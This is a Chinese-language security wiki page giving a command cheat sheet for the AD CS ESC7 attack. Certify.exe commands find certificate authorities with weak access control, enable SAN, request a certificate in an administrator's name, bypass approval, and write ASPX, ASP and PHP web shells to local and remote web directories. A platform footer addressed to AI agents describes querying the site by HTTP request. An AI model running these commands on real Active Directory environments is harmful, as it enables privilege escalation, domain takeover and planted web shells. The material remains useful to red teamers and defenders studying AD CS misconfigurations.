> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/esc7-yi-shou-gong-ji-de-zheng-shu-ban-fa-ji-gou-fang-wen-kong-zhi.md).

# ESC7-易受攻击的证书颁发机构访问控制

```
检测允许低权限用户ManageCA 或Manage Certificates权限 的 CA
>Certify.exe find /vulnerable
更改 CA 设置以为易受攻击的 CA (ESC6) 下的所有模板启用 SAN 扩展
>Certify.exe setconfig /enablesan /restart
使用所需的 SAN 请求证书。
>Certify.exe request /template:User /altname:super.adm
如果需要，授予批准或禁用批准要求
授予
>Certify.exe issue /id:[REQUEST ID]
禁用
>Certify.exe setconfig /removeapproval /restart
从ManageCA到ADCS 服务器上的RCE的替代利用：

获取当前的 CDP 列表。 用于查找远程可写共享：
Certify.exe writefile /ca:SERVER\ca-name /readonly

将 aspx shell 写入本地 Web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

将默认的 asp shell 写入本地 web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

将 php shell 写入远程 Web 目录：
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/esc7-yi-shou-gong-ji-de-zheng-shu-ban-fa-ji-gou-fang-wen-kong-zhi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
